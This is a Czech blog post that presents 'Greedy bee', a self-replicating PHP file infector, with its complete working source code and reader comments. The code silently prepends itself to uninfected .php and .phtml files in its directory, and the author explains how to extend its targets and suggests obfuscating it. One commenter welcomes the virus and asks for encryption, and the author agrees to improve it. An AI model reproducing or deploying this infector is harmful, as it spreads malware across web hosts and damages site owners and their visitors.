„Greedy bee“ – Jednoduchý infektor PHP souborů
„Greedy bee“ je jednoduchý infektor PHP skritů, který vznikl na popud několika jedinců, které zajímalo, jak je možné, že jsou webové stránky na hostinzích masově infikovány roztodivnými kódy (hlavně PHP a JS). Kód nepředpokládá žádné překážky v podobě open_basedir, safe_mode, disabled functions atd. a nebsahuje ani žádné bypassy.
Při spuštění vždy infikuje pouze jeden skript, a to s koncovkami „php“, „php3″, „php4″, „php5″, „php6″, „phtml“. Rozšíření o další koncovky spočívá v editaci pole $koncovky. Obsahuje ochranu proti několikanásobné infekci. Při editaci kódu je potřeba změnit u řádky:
1 | $inf = fread($fr, 849); |
číselnou hodnotu, která říká, kolik bajtů má být funkcí načteno. Neúplně načtený kód bude dělat problémy
Celý koncept by šel výrazně zmenšit (čemuž jsem se chtěl vyhnout kvůli čitelnosti kódu), případně znepřehlednit pomocí metody obfuskace[1] (možná přidám časem).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | <?php /*Greedy bee*/ error_reporting(0); $koncovky = array(".php", ".php3", ".php4", ".php5", ".php6", ".phtml"); $dir = opendir(dirname(__FILE__)); $ret = 0; while(($file = readdir($dir)) !== FALSE){ foreach($koncovky as $k){ if(strtolower(substr($file, -(strlen($k)))) == $k){ $ret = Infect($file); break; } } if($ret){ break; } } closedir($dir); function Infect($file){ $swap = ""; $inf = ""; $fr = fopen($file, "r"); if(filesize($file) <= 0){ return 0; } $swap = fread($fr, filesize($file)); fclose($fr); if(strstr($swap, "/*Greedy bee*/")){ return 0; } $fr = fopen(__FILE__, "r"); $inf = fread($fr, 870); fclose($fr); $fw = fopen($file, "w"); $inf .= $swap; fwrite($fw, $inf); fclose($fw); return 1; } ?> |
takovy vir uz jsem dlouho hledal. diky moc. nesel by jeste nejak zasifrovat nebo ho nejak vylepsit? jinak mas skvely web a ziskal jsi pravidelneho ctenare
pridavam do RSS ctecky
hodne stesti pri psani dalsich clanku preje masterboot
Pokud bude čas a chuť, rozšířím ho o nějaké další věci. Ale nebude to hned. Díky
Tvá přízeň a pochvala mě těší
Pekny a jednoduchy. Da se z toho dobre pochopit jak to funguje. +1
Dík. To byl úmysl